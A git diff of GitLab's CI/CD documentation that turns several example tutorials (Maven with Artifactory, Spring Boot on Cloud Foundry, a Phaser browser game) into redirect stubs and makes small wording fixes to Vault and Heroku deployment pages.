-which contains all of the tools and dependencies needed to manage the project -and to run the jobs. - -Environment variables are set to instruct Maven to use the `homedir` of the repository instead of the user's home when searching for configuration and dependencies. - -Caching the `.m2/repository folder` (where all the Maven files are stored), and the `target` folder (where our application will be created), is useful for speeding up the process -by running all Maven phases in a sequential order, therefore, executing `mvn test` will automatically run `mvn compile` if necessary. - -Both `build` and `test` jobs leverage the `mvn` command to compile the application and to test it as defined in the test suite that is part of the application. - -Deploy to Artifactory is done as defined by the variables we have just set up. -The deployment occurs only if we're pushing or merging to `master` branch, so that the development versions are tested but not published. - -Done! Now you have all the changes in the GitLab repository, and a pipeline has already been started for this commit. In the **Pipelines** tab you can see what's happening. -If the deployment has been successful, the deploy job log will output: - -```plaintext -[INFO] ------------------------------------------------------------------------ -[INFO] BUILD SUCCESS -[INFO] ------------------------------------------------------------------------ -[INFO] Total time: 1.983 s -``` - ->**Note**: -the `mvn` command downloads a lot of files from the internet, so you'll see a lot of extra activity in the log the first time you run it. - -Yay! You did it! Checking in Artifactory will confirm that you have a new artifact available in the `libs-release-local` repository. - -## Create the main Maven application - -Now that you have the dependency available on Artifactory, it's time to use it! -Let's see how we can have it as a dependency to our main application. - -### Prepare the main application - -We'll use again a Maven app that can be cloned from our example project: - -1. Create a new project by selecting **Import project from ➔ Repo by URL** -1. Add the following URL: - - ```plaintext - https://gitlab.com/gitlab-examples/maven/simple-maven-app.git - ``` - -1. Click **Create project** - -This one is a simple app as well. If you look at the `src/main/java/com/example/app/App.java` -file you can see that it imports the `com.example.dep.Dep` class and calls the `hello` method passing `GitLab` as a parameter. - -Since Maven doesn't know how to resolve the dependency, you need to modify the configuration: - -1. Go back to Artifactory -1. Browse the `libs-release-local` repository -1. Select the `simple-maven-dep-1.0.jar` file -1. Find the configuration snippet from the **Dependency Declaration** section of the main panel -1. Copy the snippet in the `dependencies` section of the `pom.xml` file. - The snippet should look like this: - - ```xml - <dependency> - <groupId>com.example.dep</groupId> - <artifactId>simple-maven-dep</artifactId> - <version>1.0</version> - </dependency> - ``` - -### Configure the Artifactory repository location - -At this point you defined the dependency for the application, but you still miss where you can find the required files. -You need to create a `.m2/settings.xml` file as you did for the dependency project, and let Maven know the location using environment variables. - -Here is how you can get the content of the file directly from Artifactory: - -1. From the main screen, click on the `libs-release-local` item in the **Set Me Up** panel -1. Click on **Generate Maven Settings** -1. Click on **Generate Settings** -1. Copy to clipboard the configuration file -1. Save the file as `.m2/settings.xml` in your repository - -Now you are ready to use the Artifactory repository to resolve dependencies and use `simple-maven-dep` in your main application! - -### Configure GitLab CI/CD for `simple-maven-app` - -You need a last step to have everything in place: configure the `.gitlab-ci.yml` file for this project, as you already did for `simple-maven-dep`. - -You want to leverage [GitLab CI/CD](https://about.gitlab.com/stages-devops-lifecycle/continuous-integration/) to automatically build, test and run your awesome application, -and see if you can get the greeting as expected! - -All you need to do is to add the following `.gitlab-ci.yml` to the repository: - -```yaml -image: maven:latest - -stages: - - build - - test - - run - -variables: - MAVEN_CLI_OPTS: "-s .m2/settings.xml --batch-mode" - MAVEN_OPTS: "-Dmaven.repo.local=.m2/repository" - -cache: - paths: - - .m2/repository/ - - target/ - -build: - stage: build - script: - - mvn $MAVEN_CLI_OPTS compile - -test: - stage: test - script: - - mvn $MAVEN_CLI_OPTS test - -run: - stage: run - script: - - mvn $MAVEN_CLI_OPTS package - - mvn $MAVEN_CLI_OPTS exec:java -Dexec.mainClass="com.example.app.App" -``` - -It is very similar to the configuration used for `simple-maven-dep`, but instead of the `deploy` job there is a `run` job. -Probably something that you don't want to use in real projects, but here it is useful to see the application executed automatically. - -And that's it! In the `run` job output log you will find a friendly hello to GitLab! - -## Conclusion - -In this article we covered the basic steps to use an Artifactory Maven repository to automatically publish and consume artifacts. - -A similar approach could be used to interact with any other Maven compatible Binary Repository Manager. -Obviously, you can improve these examples, optimizing the `.gitlab-ci.yml` file to better suit your needs, and adapting to your workflow. +<!-- This redirect file can be deleted after 2021-04-18. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/examples/authenticating-with-hashicorp-vault/index.md b/doc/ci/examples/authenticating-with-hashicorp-vault/index.md index fccc62a4ca0..2d8c92a1a74 100644 --- a/doc/ci/examples/authenticating-with-hashicorp-vault/index.md +++ b/doc/ci/examples/authenticating-with-hashicorp-vault/index.md @@ -5,13 +5,13 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: tutorial --- -# Authenticating and Reading Secrets With Hashicorp Vault +# Authenticating and Reading Secrets With HashiCorp Vault This tutorial demonstrates how to authenticate, configure, and read secrets with HashiCorp's Vault from GitLab CI/CD. NOTE: [GitLab Premium](https://about.gitlab.com/pricing/) supports read access to a -Hashicorp Vault, and enables you to +HashiCorp Vault, and enables you to [use Vault secrets in a CI job](../../secrets/index.md#use-vault-secrets-in-a-ci-job). To learn more, read [Using external secrets in CI](../../secrets/index.md). @@ -30,7 +30,7 @@ You must replace the `vault.example.com` URL below with the URL of your Vault se ## How it works -Each job has JSON Web Token (JWT) provided as environment variable named `CI_JOB_JWT`. This JWT can be used to authenticate with Vault using the [JWT Auth](https://www.vaultproject.io/docs/auth/jwt#jwt-authentication) method. +Each job has JSON Web Token (JWT) provided as CI/CD variable named `CI_JOB_JWT`. This JWT can be used to authenticate with Vault using the [JWT Auth](https://www.vaultproject.io/docs/auth/jwt#jwt-authentication) method. The JWT's payload looks like this: @@ -155,11 +155,11 @@ This example uses [bound_claims](https://www.vaultproject.io/api/auth/jwt#bound_ Combined with [protected branches](../../../user/project/protected_branches.md), you can restrict who is able to authenticate and read the secrets. -[token_explicit_max_ttl](https://www.vaultproject.io/api/auth/jwt#token_explicit_max_ttl) specifies that the token issued by Vault, upon successful authentication, has a hard lifetime limit of 60 seconds. +[`token_explicit_max_ttl`](https://www.vaultproject.io/api/auth/jwt#token_explicit_max_ttl) specifies that the token issued by Vault, upon successful authentication, has a hard lifetime limit of 60 seconds. -[user_claim](https://www.vaultproject.io/api/auth/jwt#user_claim) specifies the name for the Identity alias created by Vault upon a successful login. +[`user_claim`](https://www.vaultproject.io/api/auth/jwt#user_claim) specifies the name for the Identity alias created by Vault upon a successful login. -[bound_claims_type](https://www.vaultproject.io/api-docs/auth/jwt#bound_claims_type) configures the interpretation of the `bound_claims` values. If set to `glob`, the values are interpreted as globs, with `*` matching any number of characters. +[`bound_claims_type`](https://www.vaultproject.io/api-docs/auth/jwt#bound_claims_type) configures the interpretation of the `bound_claims` values. If set to `glob`, the values are interpreted as globs, with `*` matching any number of characters. For the full list of options, see Vault's [Create Role documentation](https://www.vaultproject.io/api/auth/jwt#create-role). @@ -187,7 +187,7 @@ read_secrets: - echo $CI_COMMIT_REF_NAME # and is this ref protected - echo $CI_COMMIT_REF_PROTECTED - # Vault's address can be provided here or as CI variable + # Vault's address can be provided here or as CI/CD variable - export VAULT_ADDR=http://vault.example.com:8200 # Authenticate and get token. Token expiry time and other properties can be configured # when configuring JWT Auth - https://www.vaultproject.io/api/auth/jwt#parameters-1 @@ -211,7 +211,7 @@ read_secrets: - echo $CI_COMMIT_REF_NAME # and is this ref protected - echo $CI_COMMIT_REF_PROTECTED - # Vault's address can be provided here or as CI variable + # Vault's address can be provided here or as CI/CD variable - export VAULT_ADDR=http://vault.example.com:8200 # Authenticate and get token. Token expiry time and other properties can be configured # when configuring JWT Auth - https://www.vaultproject.io/api/auth/jwt#parameters-1 diff --git a/doc/ci/examples/browser_performance.md b/doc/ci/examples/browser_performance.md deleted file mode 100644 index 131a539499d..00000000000 --- a/doc/ci/examples/browser_performance.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../../user/project/merge_requests/browser_performance_testing.md#configuring-browser-performance-testing' ---- - -This document was moved to [another location](../../user/project/merge_requests/browser_performance_testing.md#configuring-browser-performance-testing). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/examples/code_climate.md b/doc/ci/examples/code_climate.md deleted file mode 100644 index 2b7b2574ef7..00000000000 --- a/doc/ci/examples/code_climate.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'code_quality.md' ---- - -This document was moved to [another location](code_quality.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/examples/code_quality.md b/doc/ci/examples/code_quality.md deleted file mode 100644 index 808ad6d8fef..00000000000 --- a/doc/ci/examples/code_quality.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../../user/project/merge_requests/code_quality.md#example-configuration' ---- - -This document was moved to [another location](../../user/project/merge_requests/code_quality.md#example-configuration). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/examples/container_scanning.md b/doc/ci/examples/container_scanning.md deleted file mode 100644 index eecf939d959..00000000000 --- a/doc/ci/examples/container_scanning.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../../user/application_security/container_scanning/index.md' ---- - -This document was moved to [another location](../../user/application_security/container_scanning/index.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/examples/dast.md b/doc/ci/examples/dast.md deleted file mode 100644 index 97c5cafae95..00000000000 --- a/doc/ci/examples/dast.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../../user/application_security/dast/index.md' ---- - -This document was moved to [another location](../../user/application_security/dast/index.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/examples/dependency_scanning.md b/doc/ci/examples/dependency_scanning.md deleted file mode 100644 index dc4b7bd764a..00000000000 --- a/doc/ci/examples/dependency_scanning.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../../user/application_security/dependency_scanning/index.md' ---- - -This document was moved to [another location](../../user/application_security/dependency_scanning/index.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/examples/deploy_spring_boot_to_cloud_foundry/img/cloud_foundry_variables.png b/doc/ci/examples/deploy_spring_boot_to_cloud_foundry/img/cloud_foundry_variables.png Binary files differdeleted file mode 100644 index e76767741ce..00000000000 --- a/doc/ci/examples/deploy_spring_boot_to_cloud_foundry/img/cloud_foundry_variables.png +++ /dev/null diff --git a/doc/ci/examples/deploy_spring_boot_to_cloud_foundry/img/create_from_template.png b/doc/ci/examples/deploy_spring_boot_to_cloud_foundry/img/create_from_template.png Binary files differdeleted file mode 100644 index f3761632556..00000000000 --- a/doc/ci/examples/deploy_spring_boot_to_cloud_foundry/img/create_from_template.png +++ /dev/null diff --git a/doc/ci/examples/deploy_spring_boot_to_cloud_foundry/index.md b/doc/ci/examples/deploy_spring_boot_to_cloud_foundry/index.md index 9c145677f6e..a1a7de26cf2 100644 --- a/doc/ci/examples/deploy_spring_boot_to_cloud_foundry/index.md +++ b/doc/ci/examples/deploy_spring_boot_to_cloud_foundry/index.md @@ -1,145 +1,8 @@ --- -stage: Release -group: Release -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments -author: Dylan Griffith -author_gitlab: DylanGriffith -type: tutorial -date: 2018-06-07 -description: "Continuous Deployment of a Spring Boot application to Cloud Foundry with GitLab CI/CD" +redirect_to: '../README.md#contributed-examples' --- -<!-- vale off --> +This document was moved to [another location](../README.md#contributed-examples). -# Deploy a Spring Boot application to Cloud Foundry with GitLab CI/CD - -## Introduction - -This article demonstrates how to use the [Continuous Deployment](https://about.gitlab.com/blog/2016/08/05/continuous-integration-delivery-and-deployment-with-gitlab/#continuous-deployment) -method to deploy a [Spring Boot](https://projects.spring.io/spring-boot/) application to -[Cloud Foundry (CF)](https://www.cloudfoundry.org/) -with GitLab CI/CD. - -All the code for this project can be found in this [GitLab -repository](https://gitlab.com/gitlab-examples/spring-gitlab-cf-deploy-demo). - -In case you're interested in deploying Spring Boot applications to Kubernetes -using GitLab CI/CD, read through the blog post [Continuous Delivery of a Spring Boot application with GitLab CI and Kubernetes](https://about.gitlab.com/blog/2016/12/14/continuous-delivery-of-a-spring-boot-application-with-gitlab-ci-and-kubernetes/). - -## Requirements - -This tutorial assumes you are familiar with Java, GitLab, Cloud Foundry, and GitLab CI/CD. - -To follow along, you need: - -- An account on [Pivotal Web Services (PWS)](https://run.pivotal.io/) or any - other Cloud Foundry (CF) instance. -- An account on GitLab. - -NOTE: -If you're not deploying to PWS, you must replace the `api.run.pivotal.io` URL in all the below -commands with the [API URL](https://docs.cloudfoundry.org/running/cf-api-endpoint.html) -of your CF instance. - -## Create your project - -To create your Spring Boot application you can use the Spring template in -GitLab when creating a new project: - - - -## Configure the deployment to Cloud Foundry - -To deploy to Cloud Foundry you must add a `manifest.yml` file. This -is the configuration for the CF CLI you must use to deploy the application. -Create this in the root directory of your project with the following -content: - -```yaml ---- -applications: - - name: gitlab-hello-world - random-route: true - memory: 1G - path: target/demo-0.0.1-SNAPSHOT.jar -``` - -## Configure GitLab CI/CD to deploy your application - -Now you must add the GitLab CI/CD configuration file -([`.gitlab-ci.yml`](../../yaml/README.md)) -to your project's root. This is how GitLab figures out what commands must run whenever -code is pushed to your repository. Add the following `.gitlab-ci.yml` -file to the root directory of the repository. GitLab detects it -automatically and runs the defined steps once you push your code: - -```yaml -image: java:8 - -stages: - - build - - deploy - -before_script: - - chmod +x mvnw - -build: - stage: build - script: ./mvnw package - artifacts: - paths: - - target/demo-0.0.1-SNAPSHOT.jar - -production: - stage: deploy - script: - - curl --location "https://cli.run.pivotal.io/stable?release=linux64-binary&source=github" | tar zx - - ./cf login -u $CF_USERNAME -p $CF_PASSWORD -a api.run.pivotal.io - - ./cf push - only: - - master -``` - -This uses the `java:8` [Docker image](../../docker/using_docker_images.md) -to build your application, as it provides the up-to-date Java 8 JDK on [Docker Hub](https://hub.docker.com/). -You also added the [`only` clause](../../yaml/README.md#onlyexcept-basic) -to ensure your deployments only happen when you push to the master branch. - -Because the steps defined in `.gitlab-ci.yml` require credentials to sign in to -CF, you must add your CF credentials as -[environment variables](../../variables/README.md#predefined-environment-variables) -in GitLab CI/CD. To set the environment variables, navigate to your project's -**Settings > CI/CD**, and then expand **Variables**. Name the variables -`CF_USERNAME` and `CF_PASSWORD` and set them to the correct values. - - - -After set up, GitLab CI/CD deploys your app to CF at every push to your -repository's default branch. To review the build logs or watch your builds -running live, navigate to **CI/CD > Pipelines**. - -WARNING: -It's considered best practice for security to create a separate deploy user for -your application and add its credentials to GitLab instead of using a -developer's credentials. - -To start a manual deployment in GitLab go to **CI/CD > Pipelines** then click -**Run Pipeline**. After the app is finished deploying, it displays the -URL of your application in the logs for the `production` job: - -```shell -requested state: started -instances: 1/1 -usage: 1G x 1 instances -urls: gitlab-hello-world-undissembling-hotchpot.cfapps.io -last uploaded: Mon Nov 6 10:02:25 UTC 2017 -stack: cflinuxfs2 -buildpack: client-certificate-mapper=1.2.0_RELEASE container-security-provider=1.8.0_RELEASE java-buildpack=v4.5-offline-https://github.com/cloudfoundry/java-buildpack.git#ffeefb9 java-main java-opts jvmkill-agent=1.10.0_RELEASE open-jdk-like-jre=1.8.0_1... - - state since cpu memory disk details -#0 running 2017-11-06 09:03:22 PM 120.4% 291.9M of 1G 137.6M of 1G -``` - -You can then visit your deployed application (for this example, -`https://gitlab-hello-world-undissembling-hotchpot.cfapps.io/`) and you should -see the "Spring is here!" message. +<!-- This redirect file can be deleted after 2021-04-18. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/examples/deployment/README.md b/doc/ci/examples/deployment/README.md index 958093364af..779ca98084f 100644 --- a/doc/ci/examples/deployment/README.md +++ b/doc/ci/examples/deployment/README.md @@ -38,15 +38,15 @@ apt-get install ruby-dev The Dpl provides support for vast number of services, including: Heroku, Cloud Foundry, AWS/S3, and more. To use it simply define provider and any additional parameters required by the provider. -For example if you want to use it to deploy your application to Heroku, you need to specify `heroku` as provider, specify `api-key` and `app`. -All possible parameters can be found here: <https://github.com/travis-ci/dpl#heroku-api>. +For example if you want to use it to deploy your application to Heroku, you need to specify `heroku` as provider, specify `api_key` and `app`. +All possible parameters can be found in the [Heroku API section](https://github.com/travis-ci/dpl#heroku-api). ```yaml staging: stage: deploy script: - gem install dpl - - dpl --provider=heroku --app=my-app-staging --api-key=$HEROKU_STAGING_API_KEY + - dpl --provider=heroku --app=my-app-staging --api_key=$HEROKU_STAGING_API_KEY ``` In the above example we use Dpl to deploy `my-app-staging` to Heroku server with API key stored in `HEROKU_STAGING_API_KEY` secure variable. @@ -67,7 +67,7 @@ staging: - apt-get update -yq - apt-get install -y ruby-dev - gem install dpl - - dpl --provider=heroku --app=my-app-staging --api-key=$HEROKU_STAGING_API_KEY + - dpl --provider=heroku --app=my-app-staging --api_key=$HEROKU_STAGING_API_KEY only: - master ``` @@ -90,7 +90,7 @@ staging: stage: deploy script: - gem install dpl - - dpl --provider=heroku --app=my-app-staging --api-key=$HEROKU_STAGING_API_KEY + - dpl --provider=heroku --app=my-app-staging --api_key=$HEROKU_STAGING_API_KEY only: - master @@ -98,7 +98,7 @@ production: stage: deploy script: - gem install dpl - - dpl --provider=heroku --app=my-app-production --api-key=$HEROKU_PRODUCTION_API_KEY + - dpl --provider=heroku --app=my-app-production --api_key=$HEROKU_PRODUCTION_API_KEY only: - tags ``` diff --git a/doc/ci/examples/deployment/composer-npm-deploy.md b/doc/ci/examples/deployment/composer-npm-deploy.md index 6bc96ae6c30..2d7ba2bc759 100644 --- a/doc/ci/examples/deployment/composer-npm-deploy.md +++ b/doc/ci/examples/deployment/composer-npm-deploy.md @@ -5,9 +5,9 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: tutorial --- -# Running Composer and NPM scripts with deployment via SCP in GitLab CI/CD +# Running Composer and npm scripts with deployment via SCP in GitLab CI/CD -This guide covers the building of dependencies of a PHP project while compiling assets via an NPM script using [GitLab CI/CD](../../README.md). +This guide covers the building of dependencies of a PHP project while compiling assets via an npm script using [GitLab CI/CD](../../README.md). While it is possible to create your own image with custom PHP and Node.js versions, for brevity we use an existing [Docker image](https://hub.docker.com/r/tetraweb/php/) that contains both PHP and Node.js installed. diff --git a/doc/ci/examples/devops_and_game_dev_with_gitlab_ci_cd/img/aws_config_window.png b/doc/ci/examples/devops_and_game_dev_with_gitlab_ci_cd/img/aws_config_window.png Binary files differdeleted file mode 100644 index 09eef98202f..00000000000 --- a/doc/ci/examples/devops_and_game_dev_with_gitlab_ci_cd/img/aws_config_window.png +++ /dev/null diff --git a/doc/ci/examples/devops_and_game_dev_with_gitlab_ci_cd/img/gitlab_config.png b/doc/ci/examples/devops_and_game_dev_with_gitlab_ci_cd/img/gitlab_config.png Binary files differdeleted file mode 100644 index 71ffcdea289..00000000000 --- a/doc/ci/examples/devops_and_game_dev_with_gitlab_ci_cd/img/gitlab_config.png +++ /dev/null diff --git a/doc/ci/examples/devops_and_game_dev_with_gitlab_ci_cd/img/test_pipeline_pass.png b/doc/ci/examples/devops_and_game_dev_with_gitlab_ci_cd/img/test_pipeline_pass.png Binary files differdeleted file mode 100644 index a9452577a42..00000000000 --- a/doc/ci/examples/devops_and_game_dev_with_gitlab_ci_cd/img/test_pipeline_pass.png +++ /dev/null diff --git a/doc/ci/examples/devops_and_game_dev_with_gitlab_ci_cd/index.md b/doc/ci/examples/devops_and_game_dev_with_gitlab_ci_cd/index.md index 298ffff568a..9408c26f06f 100644 --- a/doc/ci/examples/devops_and_game_dev_with_gitlab_ci_cd/index.md +++ b/doc/ci/examples/devops_and_game_dev_with_gitlab_ci_cd/index.md @@ -1,534 +1,8 @@ --- -stage: Verify -group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments -author: Ryan Hall -author_gitlab: blitzgren -type: tutorial -date: 2018-03-07 +redirect_to: '../README.md#contributed-examples' --- -<!-- vale off --> +This document was moved to [another location](../README.md#contributed-examples). -# DevOps and Game Dev with GitLab CI/CD - -With advances in WebGL and WebSockets, browsers are extremely viable as game development -platforms without the use of plugins like Adobe Flash. Furthermore, by using GitLab and [AWS](https://aws.amazon.com/), -single game developers, as well as game dev teams, can easily host browser-based games online. - -In this tutorial, we'll focus on DevOps, as well as testing and hosting games with Continuous -Integration/Deployment methods using [GitLab CI/CD](../../README.md). We assume you are familiar with GitLab, JavaScript, -and the basics of game development. - -## The game - -Our [demo game](http://gitlab-game-demo.s3-website-us-east-1.amazonaws.com/) consists of a simple spaceship traveling in space that shoots by clicking the mouse in a given direction. - -Creating a strong CI/CD pipeline at the beginning of developing another game, [Dark Nova](https://www.darknova.io), -was essential for the fast pace the team worked at. This tutorial will build upon my -[previous introductory article](https://ryanhallcs.wordpress.com/2017/03/15/devops-and-game-dev/) and go through the following steps: - -1. Using code from the previous article to start with a bare-bones [Phaser](https://phaser.io) game built by a gulp file -1. Adding and running unit tests -1. Creating a `Weapon` class that can be triggered to spawn a `Bullet` in a given direction -1. Adding a `Player` class that uses this weapon and moves around the screen -1. Adding the sprites we will use for the `Player` and `Weapon` -1. Testing and deploying with Continuous Integration and Continuous Deployment methods - -By the end, we'll have the core of a [playable game](http://gitlab-game-demo.s3-website-us-east-1.amazonaws.com/) -that's tested and deployed on every push to the `master` branch of the [codebase](https://gitlab.com/blitzgren/gitlab-game-demo). -This will also provide -boilerplate code for starting a browser-based game with the following components: - -- Written in [TypeScript](https://www.typescriptlang.org/) and [PhaserJs](https://phaser.io) -- Building, running, and testing with [Gulp](https://gulpjs.com) -- Unit tests with [Chai](https://www.chaijs.com) and [Mocha](https://mochajs.org/) -- CI/CD with GitLab -- Hosting the codebase on GitLab.com -- Hosting the game on AWS -- Deploying to AWS - -## Requirements and setup - -Please refer to my previous article [DevOps and Game Dev](https://ryanhallcs.wordpress.com/2017/03/15/devops-and-game-dev/) to learn the foundational -development tools, running a Hello World-like game, and building this game using GitLab -CI/CD from every new push to master. The `master` branch for this game's [repository](https://gitlab.com/blitzgren/gitlab-game-demo) -contains a completed version with all configurations. If you would like to follow along -with this article, you can clone and work from the `devops-article` branch: - -```shell -git clone git@gitlab.com:blitzgren/gitlab-game-demo.git -git checkout devops-article -``` - -Next, we'll create a small subset of tests that exemplify most of the states I expect -this `Weapon` class to go through. To get started, create a folder called `lib/tests` -and add the following code to a new file `weaponTests.ts`: - -```typescript -import { expect } from 'chai'; -import { Weapon, BulletFactory } from '../lib/weapon'; - -describe('Weapon', () => { - var subject: Weapon; - var shotsFired: number = 0; - // Mocked bullet factory - var bulletFactory: BulletFactory = <BulletFactory>{ - generate: function(px, py, vx, vy, rot) { - shotsFired++; - } - }; - var parent: any = { x: 0, y: 0 }; - - beforeEach(() => { - shotsFired = 0; - subject = new Weapon(bulletFactory, parent, 0.25, 1); - }); - - it('should shoot if not in cooldown', () => { - subject.trigger(true); - subject.update(0.1); - expect(shotsFired).to.equal(1); - }); - - it('should not shoot during cooldown', () => { - subject.trigger(true); - subject.update(0.1); - subject.update(0.1); - expect(shotsFired).to.equal(1); - }); - - it('should shoot after cooldown ends', () => { - subject.trigger(true); - subject.update(0.1); - subject.update(0.3); // longer than timeout - expect(shotsFired).to.equal(2); - }); - - it('should not shoot if not triggered', () => { - subject.update(0.1); - subject.update(0.1); - expect(shotsFired).to.equal(0); - }); -}); -``` - -To build and run these tests using gulp, let's also add the following gulp functions -to the existing `gulpfile.js` file: - -```typescript -gulp.task('build-test', function () { - return gulp.src('src/tests/**/*.ts', { read: false }) - .pipe(tap(function (file) { - // replace file contents with browserify's bundle stream - file.contents = browserify(file.path, { debug: true }) - .plugin(tsify, { project: "./tsconfig.test.json" }) - .bundle(); - })) - .pipe(buffer()) - .pipe(sourcemaps.init({loadMaps: true}) ) - .pipe(gulp.dest('built/tests')); -}); - -gulp.task('run-test', function() { - gulp.src(['./built/tests/**/*.ts']).pipe(mocha()); -}); -``` - -We will start implementing the first part of our game and get these `Weapon` tests to pass. -The `Weapon` class will expose a method to trigger the generation of a bullet at a given -direction and speed. Later we will implement a `Player` class that ties together the user input -to trigger the weapon. In the `src/lib` folder create a `weapon.ts` file. We'll add two classes -to it: `Weapon` and `BulletFactory` which will encapsulate Phaser's **sprite** and -**group** objects, and the logic specific to our game. - -```typescript -export class Weapon { - private isTriggered: boolean = false; - private currentTimer: number = 0; - - constructor(private bulletFactory: BulletFactory, private parent: Phaser.Sprite, private cooldown: number, private bulletSpeed: number) { - } - - public trigger(on: boolean): void { - this.isTriggered = on; - } - - public update(delta: number): void { - this.currentTimer -= delta; - - if (this.isTriggered && this.currentTimer <= 0) { - this.shoot(); - } - } - - private shoot(): void { - // Reset timer - this.currentTimer = this.cooldown; - - // Get velocity direction from player rotation - var parentRotation = this.parent.rotation + Math.PI / 2; - var velx = Math.cos(parentRotation); - var vely = Math.sin(parentRotation); - - // Apply a small forward offset so bullet shoots from head of ship instead of the middle - var posx = this.parent.x - velx * 10 - var posy = this.parent.y - vely * 10; - - this.bulletFactory.generate(posx, posy, -velx * this.bulletSpeed, -vely * this.bulletSpeed, this.parent.rotation); - } -} - -export class BulletFactory { - - constructor(private bullets: Phaser.Group, private poolSize: number) { - // Set all the defaults for this BulletFactory's bullet object - this.bullets.enableBody = true; - this.bullets.physicsBodyType = Phaser.Physics.ARCADE; - this.bullets.createMultiple(30, 'bullet'); - this.bullets.setAll('anchor.x', 0.5); - this.bullets.setAll('anchor.y', 0.5); - this.bullets.setAll('outOfBoundsKill', true); - this.bullets.setAll('checkWorldBounds', true); - } - - public generate(posx: number, posy: number, velx: number, vely: number, rot: number): Phaser.Sprite { - // Pull a bullet from Phaser's Group pool - var bullet = this.bullets.getFirstExists(false); - - // Set the few unique properties about this bullet: rotation, position, and velocity - if (bullet) { - bullet.reset(posx, posy); - bullet.rotation = rot; - bullet.body.velocity.x = velx; - bullet.body.velocity.y = vely; - } - - return bullet; - } -} -``` - -Lastly, we'll redo our entry point, `game.ts`, to tie together both `Player` and `Weapon` objects -as well as add them to the update loop. Here is what the updated `game.ts` file looks like: - -```typescript -import { Player } from "./player"; -import { Weapon, BulletFactory } from "./weapon"; - -window.onload = function() { - var game = new Phaser.Game(800, 600, Phaser.AUTO, 'gameCanvas', { preload: preload, create: create, update: update }); - var player: Player; - var weapon: Weapon; - - // Import all assets prior to loading the game - function preload () { - game.load.image('player', 'assets/player.png'); - game.load.image('bullet', 'assets/bullet.png'); - } - - // Create all entities in the game, after Phaser loads - function create () { - // Create and position the player - var playerSprite = game.add.sprite(400, 550, 'player'); - playerSprite.anchor.setTo(0.5); - player = new Player(game.input, playerSprite, 150); - - var bulletFactory = new BulletFactory(game.add.group(), 30); - weapon = new Weapon(bulletFactory, player.sprite, 0.25, 1000); - - player.loadWeapon(weapon); - } - - // This function is called once every tick, default is 60fps - function update() { - var deltaSeconds = game.time.elapsedMS / 1000; // convert to seconds - player.update(deltaSeconds); - weapon.update(deltaSeconds); - } -} -``` - -Run `gulp serve` and you can run around and shoot. Wonderful! Let's update our CI -pipeline to include running the tests along with the existing build job. - -## Continuous Integration - -To ensure our changes don't break the build and all tests still pass, we use -Continuous Integration (CI) to run these checks automatically for every push. -Read through this article to understand [Continuous Integration, Continuous Delivery, and Continuous Deployment](https://about.gitlab.com/blog/2016/08/05/continuous-integration-delivery-and-deployment-with-gitlab/), -and how these methods are leveraged by GitLab. -From the [last tutorial](https://ryanhallcs.wordpress.com/2017/03/15/devops-and-game-dev/) we already have a `.gitlab-ci.yml` file set up for building our app from -every push. We need to set up a new CI job for testing, which GitLab CI/CD will run after the build job using our generated artifacts from gulp. - -Please read through the [documentation on CI/CD configuration](../../../ci/yaml/README.md) file to explore its contents and adjust it to your needs. - -### Build your game with GitLab CI/CD - -We need to update our build job to ensure tests get run as well. Add `gulp build-test` -to the end of the `script` array for the existing `build` job. After these commands run, -we know we will need to access everything in the `built` folder, given by GitLab CI/CD's `artifacts`. -We'll also cache `node_modules` to avoid having to do a full re-pull of those dependencies: -just pack them up in the cache. Here is the full `build` job: - -```yaml -build: - stage: build - script: - - npm i gulp -g - - npm i - - gulp - - gulp build-test - cache: - policy: push - paths: - - node_modules - artifacts: - paths: - - built -``` - -### Test your game with GitLab CI/CD - -For testing locally, we simply run `gulp run-tests`, which requires gulp to be installed -globally like in the `build` job. We pull `node_modules` from the cache, so the `npm i` -command won't have to do much. In preparation for deployment, we know we will still need -the `built` folder in the artifacts, which will be brought over as default behavior from -the previous job. Lastly, by convention, we let GitLab CI/CD know this needs to be run after -the `build` job by giving it a `test` [stage](../../../ci/yaml/README.md#stages). -Following the YAML structure, the `test` job should look like this: - -```yaml -test: - stage: test - script: - - npm i gulp -g - - npm i - - gulp run-test - cache: - policy: push - paths: - - node_modules/ - artifacts: - paths: - - built/ -``` - -We have added unit tests for a `Weapon` class that shoots on a specified interval. -The `Player` class implements `Weapon` along with the ability to move around and shoot. Also, -we've added test artifacts and a test stage to our GitLab CI/CD pipeline using `.gitlab-ci.yml`, -allowing us to run our tests by every push. -Our entire `.gitlab-ci.yml` file should now look like this: - -```yaml -image: node:10 - -build: - stage: build - script: - - npm i gulp -g - - npm i - - gulp - - gulp build-test - cache: - policy: push - paths: - - node_modules/ - artifacts: - paths: - - 